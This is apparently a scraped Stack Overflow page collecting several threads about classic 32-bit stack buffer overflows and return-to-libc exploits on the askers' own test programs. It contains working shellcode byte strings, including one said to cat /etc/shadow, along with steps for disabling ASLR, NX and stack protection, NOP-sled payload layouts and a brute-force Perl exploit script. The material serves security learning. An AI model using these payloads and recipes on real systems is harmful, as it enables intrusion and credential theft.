Segmentation fault by jumping to a user-defined machine code [duplicate] - c

I've tried to run a lot of shell-codes via C program to test them. Here it is
#include<stdio.h>
#include<string.h>
unsigned char code[] = "shell here";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
And here's example of shellcode
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"
(\bin\cat \etc\shadow)
After running
gcc sctest.c -o out
./out
It's just gives me shellcode length and Segmentation Fault
I've already tried a lot of different shellcodes but everything just gives me segfault
My dmesg | tail -1
[18440.783383] test[8768]: segfault at 8049700 ip 08049700 sp bffff2ec error 15 in test[8049000+1000]
What's wrong with my shellcodes?

After disabling NX-bit and other things like randomize_va_space I've finally done it.
Firstly you should compile your executable with keys -z execstack and -fno-stack-protector.
After that disable ASLR echo 0 > /proc/sys/kernel/randomize_va_space.
Now you have to find shellcode. You can try mspayload or msfvenom. Shellcode is a bytecode which usually gives you shell.
On that step you should find offset for your stack overflow. You can try to find lines like
sub hex-offset, %esp
Or you can try to bruteforce it with simple script like ./your_binary < python -c "print('A')*n") where n is your offset
After finding offset(SEGFAULT occurs and dmesg | tail -1 says that %eip is 0x41414141) you just need to write your exploit. It's structure looks like that
NOPs(no operation)*x+shellcode+return-address(4 bytes)*y
len(shellcode)+x+4y=your offset
Where return address is an address of the place in the stack where your NOPs are located(address of %esp which you see in gdb info r before input)
And don't forget that exploit which works in gdb won't work without gdb because you need to add/substract 36 bytes from your return address.
Finally you're ready to exploit
./your_binary < exploit.bin

Related

Shellcode Segfault - testcase vs strcpy

So after taking a Software Security class I became very interested in tinkering with how shellcode works with buffer overflows. Most threads I read about the topic involve having the shellcode as a char array and the user not adding the -fno-stack-protector / -z execstack flags for gcc. I've tried turning off ASLR (though I'm unsure if it's relevant?), there is no stack canary or anything involved. I'm using a cyclic offset generator to find the stack offset and using gdb to find the start of the buffer (so I know I have the correct return address). Everything is in gdb so I'm aware there will be an address difference when running outside of gdb, I originally had a NOP sled but removed it to reduce complexity.
So I've reached my wits end... I feel like it might be something at the assembly layer that I'm not understanding/haven't learned. Might be something silly....
First I have a test-case program that just takes the shellcode as a commandline argument which successfully pops the shell:
Compiled with: gcc -m32 -z execstack file.c -o file
#include<stdio.h>
#include<string.h>
int main(int argc, char *argv[])
{
unsigned char shellcode[100];
strcpy(shellcode,argv[1]);
int (*ret)() = (int(*)())shellcode;
ret();
}
root#kali:~/tmp# ./test2 $(python -c 'print
"\xbf\xa0\xbc\xdf\x9c\xda\xda\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0c\x31\x78\x13\x03\x78\x13\x83\xe8\x5c\x5e\x2a\xf6\x97\xc7\x4c\x55\xc1\x9f\x43\x39\x84\x87\xf4\x92\xe5\x2f\x05\x85\x26\xd2\x6c\x3b\xb1\xf1\x3d\x2b\xcb\xf5\xc1\xab\xe4\x97\xa8\xc5\xd5\x35\x4a\x69\x41\xba\xdb\xde\x18\x5b\x2e\x60"')
root#kali:/root/tmp# <-- New shell popped
Next I wanted to try to actually overflow a buffer to overwrite the stored EIP address and run the shellcode, this case continually results in a segfault...
Compiled with: gcc -m32 -z execstack file.c -o file
#include<stdio.h>
#include<string.h>
void login_success(char *password)
{
char pass[60];
strcpy(pass, password);
}
int main(int argc, char *argv[])
{
login_success(argv[1]);
}
the offset to eip is 72 bytes, my shellcode is 72 bytes long + adding the eip overwrite.
Shellcode looks like:
buf = ""
buf += "\xbf\xa0\xbc\xdf\x9c\xda\xda\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0c\x31\x78\x13\x03\x78\x13\x83\xe8\x5c\x5e\x2a\xf6\x97\xc7\x4c\x55\xc1\x9f\x43\x39\x84\x87\xf4\x92\xe5\x2f\x05\x85\x26\xd2\x6c\x3b\xb1\xf1\x3d\x2b\xcb\xf5\xc1\xab\xe4\x97\xa8\xc5\xd5\x35\x4a\x69\x41\xba\xdb\xde\x18\x5b\x2e\x60"
#0xffffd264
buf += "\x64\xd2\xff\xff"
print buf
Running this results in a segmentation fault...
If I step through gdb they both reach the shellcode, I've followed every step and it all their commands are the same up until it has to make a call instruction.
In the images below the strcpy instance is on the left, the test-case is on the right:
I'm not sure if it has to do with the ret instruction from the previous stackframe where the overflow occured? I can provide any additional information if needed. Any information about what I should research further would be appreciated!

Shellcode not running

I've tried to run a lot of shell-codes via C program to test them. Here it is
#include<stdio.h>
#include<string.h>
unsigned char code[] = "shell here";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
And here's example of shellcode
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb"\
"\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"\
"\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd"\
"\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f"\
"\x73\x68\x58\x41\x41\x41\x41\x42\x42\x42\x42"
(\bin\cat \etc\shadow)
After running
gcc sctest.c -o out
./out
It's just gives me shellcode length and Segmentation Fault
I've already tried a lot of different shellcodes but everything just gives me segfault
My dmesg | tail -1
[18440.783383] test[8768]: segfault at 8049700 ip 08049700 sp bffff2ec error 15 in test[8049000+1000]
What's wrong with my shellcodes?
After disabling NX-bit and other things like randomize_va_space I've finally done it.
Firstly you should compile your executable with keys -z execstack and -fno-stack-protector.
After that disable ASLR echo 0 > /proc/sys/kernel/randomize_va_space.
Now you have to find shellcode. You can try mspayload or msfvenom. Shellcode is a bytecode which usually gives you shell.
On that step you should find offset for your stack overflow. You can try to find lines like
sub hex-offset, %esp
Or you can try to bruteforce it with simple script like ./your_binary < python -c "print('A')*n") where n is your offset
After finding offset(SEGFAULT occurs and dmesg | tail -1 says that %eip is 0x41414141) you just need to write your exploit. It's structure looks like that
NOPs(no operation)*x+shellcode+return-address(4 bytes)*y
len(shellcode)+x+4y=your offset
Where return address is an address of the place in the stack where your NOPs are located(address of %esp which you see in gdb info r before input)
And don't forget that exploit which works in gdb won't work without gdb because you need to add/substract 36 bytes from your return address.
Finally you're ready to exploit
./your_binary < exploit.bin

How do I test out buffer overflows on a modern system?

I'm currently interested in learning how to do buffer overflows. I've done quite a bit of assembly, and understand how the stack works and how to implement a buffer overflow in C. However, I'm running across quite a bit of trouble trying to get GCC 4.9.1 to allow me to overflow a buffer properly. I'm running Debian Jessie.
Here is the tutorial that I'm attempting to follow, in section 2.2. I've copy/pasted the C program he provides, and I'm using the same Perl script that he is, so everything is the exact same as his case (except the system, of course).
These are the results that I'm getting consistently:
~/projects/buffer-overflow$ ls
run.pl test.c
~/projects/buffer-overflow$ sudo su
root#wash# echo "0" > /proc/sys/kernel/randomize_va_space
root#wash# exit
exit
~/projects/buffer-overflow$ gcc -m32 -fno-stack-protector -zexecstack test.c
~/projects/buffer-overflow$ ./run.pl
Address of foo = 0x804845b
Address of bar = 0x80484a4
My stack looks like:
(nil)
0xffffd4a8
0xf7e58b2f
0xf7fb3ac0
0x8048657
0xffffd494
ABCDEFGHIJKLMNOPP#
Now the stack looks like:
0xffffd718
0xffffd4a8
0xf7e58b2f
0xf7fb3ac0
0x42418657
0x46454443
That Perl script isn't particularly useful here, different systems will use different addresses, so let's do it without the script...
First of all, find out the exact number of bytes needed to overwrite the return address. We can do this with GDB and Perl:
(gdb) run `perl -e 'print "A" x 26';`
Address of foo = 0x804845b
Address of bar = 0x80484a5
My stack looks like:
0xf7fb1000
0xffffdab8
0xf7e44476
0xf7fb1d60
0x8048647
0xffffdaa8
AAAAAAAAAAAAAAAAAAAAAAAAAA
Now the stack looks like:
0xffffdcbb
0xffffdab8
0xf7e44476
0xf7fb1d60
0x41418647
0x41414141
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
As you can see, 26 bytes will overwrite the EIP, so by replacing the last four "A" characters with our bar() function address (don't forget to put it in little endian format), we should have success:
(gdb) run `perl -e 'print "A" x 22';``perl -e 'print "\xa5\x84\x04\x8"';`
Address of foo = 0x804845b
Address of bar = 0x80484a5
My stack looks like:
0xf7fb1000
0xffffdab8
0xf7e44476
0xf7fb1d60
0x8048647
0xffffdaa8
AAAAAAAAAAAAAAAAAAAAAA��
Now the stack looks like:
0xffffdcbb
0xffffdab8
0xf7e44476
0xf7fb1d60
0x41418647
0x41414141
Augh! I've been hacked!
Program received signal SIGSEGV, Segmentation fault.
0xffffdc06 in ?? ()
As you can see, we successfully returned to function bar().
I would try either -fno-stack-protector-all (adding -all) and other -O? options, cause some optimizations turns on some -fxxx.

return to lib_c buffer overflow exercise issue

I'm supposed to come up with a program that exploits the "return to libc buffer overflow". This is, when executed, it cleanly exits and brings up a SHELL prompt. The program is executed in a bash terminal. Below is my C code:
#include <stdio.h>
int main(int argc, char*argv[]){
char buffer[7];
char buf[42];
int i = 0;
while(i < 28)
{
buf[i] = 'a';
i = i + 1;
}
*(int *)&buf[28] = 0x4c4ab0;
*(int *)&buf[32] = 0x4ba520;
*(int *)&buf[36] = 0xbfffff13;
strcpy(buffer, buf);
return 0;
}
Using gdb, I've been able to determine the following:
Address for "system": 0x4c4ab0
Address for "exit": 0x4ba520
The string "/bin/sh" resides in memory at: 0xbfffff13
I also know, using gdb, that inserting 32 "A"'s into my buffer variable will overwrite the return address. So given that the system call is 4 bytes, I start by filling in my memory "leak" at 28 bytes. At the 28th byte, I begin my system call, then exit call, and finally add my "/bin/sh" memory location.
When I run the program, however, I get the following:
sh: B���: command not found
Segmentation fault (core dumped)
I'm really not sure what I'm doing wrong...
[EDIT]: I was able to get the string "/bin/sh" by exporting a environmental variable:
export MYSHELL="/bin/sh"
You can search in libc for a fixed address of a /bin/sh string. Run you program in gdb then:
> (gdb) break main
>
> (gdb) run
>
> (gdb) print &system
> $1 = (<text variable, no debug info>*) 0xf7e68250 <system>
>
> (gdb) find &system,+9999999,"/bin/sh"
> 0xf7f86c4c
> warning: Unable to access target memory at 0xf7fd0fd4, halting search.
> 1 pattern found.
Good luck.
The problem in your program is the pointer you suppose to point to the /bin/sh string is actually not pointing to /bin/sh.
You get this address using gdb. But even without stack randomization, the stack address of your shell variable is different when the program is run under gdb than without gdb. gdb is putting some debug information into the stack and this will shift your shell variables.
To convince yourself here is a quick and dirty program to find a /bin/sh string in the stack:
#include <stdio.h>
#include <string.h>
int main(void)
{
char s[] = "/bin/sh";
char *p = (char *) 0xbffff000;
while (memcmp(++p, s, sizeof s));
printf("%s\n", p);
printf("%p\n", p);
}
First double check that stack randomization is disabled:
ouah#maou:~$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 0
ouah#maou:~$
Ok, no stack randomization.
Let's compile the program and run it outside gdb:
ouah#maou:~$ gcc -std=c99 tst.c
ouah#maou:~$ ./a.out
/bin/sh
0xbffff724
ouah#maou:~$
Now let's run it under gdb:
ouah#maou:~$ ./a.out
/bin/sh
0xbffff724
ouah#maou:~$ gdb a.out -q
Reading symbols from /home/ouah/a.out...(no debugging symbols found)...done.
(gdb) r
Starting program: /home/ouah/a.out
/bin/sh
0xbffff6e4
Program exited normally.
(gdb) quit
ouah#maou:~$
As you can see the address of the /bin/sh string is different when the program is run inside or outside gdb.
Now what you can do is to use a variant of this program to find the true address of your string or a more elegant approach, get the address of a /bin/sh string directly from the libc (as you can guess there are a few occurrences).

Return into libc - Illegal instruction

I am messing around with buffer overflows, particularly the return into libc kind.
I have the following vulnerable code:
#include<stdio.h>
#include<string.h>
main( int argc, char **argv)
{
char buffer[80];
getchar();
strcpy(buffer, argv[1]);
return 1;
}
I compiled it using gcc-2.95 (no -fstack-protector) with the -mpreferred-stack-boundary=2 flag. I followed the return into libc chapter of "Hacking: The Art of Exploitation".
First, I disabled ASLR:
$ cat /proc/sys/kernel/randomize_va_space
0
I found out the address of system:
$ cat find_system.c
int main() {
system("");
return 0;
}
$ gdb -q find_system
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x8048416
(gdb) run
Starting program: /home/bob/return_to_libc/find_system
Breakpoint 1, 0x08048416 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7eb6680 <system>
I created an environment variable to contain the command I want to execute using system:
$ cat get_env.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1]));
return 0;
}
$ export EXPLOIT=/bin/zsh
$ ./get_env EXPLOIT
EXPLOIT=/bin/zsh: 0xbffff96d
And then I made a perl script to automate getting the shell:
$ cat script.pl
#!/usr/bin/perl
for ($i = 1; $i < 200; $i++) {
print "Perl count: $i\n";
system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'");
}
$ ./script.pl
(...)
Perl count: 69
Perl count: 70
Perl count: 71
Perl count: 72
Illegal instruction
Perl count: 73
Segmentation fault
Perl count: 74
Segmentation fault
(...)
Where did I go wrong? Why do I get "illegal instruction" instead of my shell?
$ gdb vuln
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'
Vary the number of 'A's to test the various failures. In find python -c "print 'A'*73" (73 used to produce the above) to be helpful for generating the arguments.
gdb will tell you exactly where you're crashing and what's at EIP/RIP when you crash. This should guide you to an answer to your question.
Most likely, you're not getting a good pointer in the return address on the stack and execution is landing in memory that doesn't disassemble to valid instructions. I'd think you're close here. The segmentaion faults are more likely to be execution landing in a region of memory that isn't even allocated.
Use (gdb) x/10i $eip to identify what instructions are at EIP when you crash. You can vary the length of the disassembly shown by altering the 10 in that command.
You'll also need to figure out where your argument to system is landing on the stack so that it makes it into the appropriate place in the calling convention to get system to call it. gdb should be able to help you here too (again, use x - x/4w maybe - and i r).
Successful exploitation requires both of the above pieces: the 0xb7eb6680 must be in the return address and the 0xbffff96d must be wherever system is going to read it's first argument from.
Another helpful trick: set a breakpoint on the ret at the end of the strcpy function. This is a handy place to inspect your stack and register state and identify what you're about to do. The ret is where exploitation happens: the return address you supply is read, the processor begins executing at that address and you're off, assuming you can sustain execution with proper arguments to whatever you're calling, etc. The program's state at this ret is the make or break point so it's the easiest place to see what's wrong with your input and why you will or will not successfully exploit the vulnerability.
Forgive me if my gdb syntax isn't bang on... it's not my primary debugger.

Resources